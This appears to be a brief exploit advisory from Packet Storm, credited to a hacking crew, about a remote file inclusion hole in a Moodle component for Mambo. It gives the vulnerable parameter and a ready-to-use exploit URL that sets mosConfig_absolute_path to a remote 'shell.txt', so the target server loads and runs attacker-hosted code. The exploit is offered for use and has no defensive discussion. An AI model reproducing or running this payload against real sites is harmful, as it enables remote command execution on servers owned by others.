Mam - Moodle is susceptible to a remote file inclusion vulnerability.
667b0b0ca4ba1e027334e1e0e95cca56####################################################################################
#Mam - Moodle Remote File Include
------------------------------------------------------------------------------------
#Bug Found by: jank0
#greetz: hackbsd crew
#risk: dangerous
##this bug allows a remote atacker to execute commands via rfi
path: ?mosConfig_absolute_path=
xpl:
http://web/components/com_moodle/moodle.php?mosConfig_absolute_path=http://shell.txt
Contact: irc.undernet.org #hackbsd
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!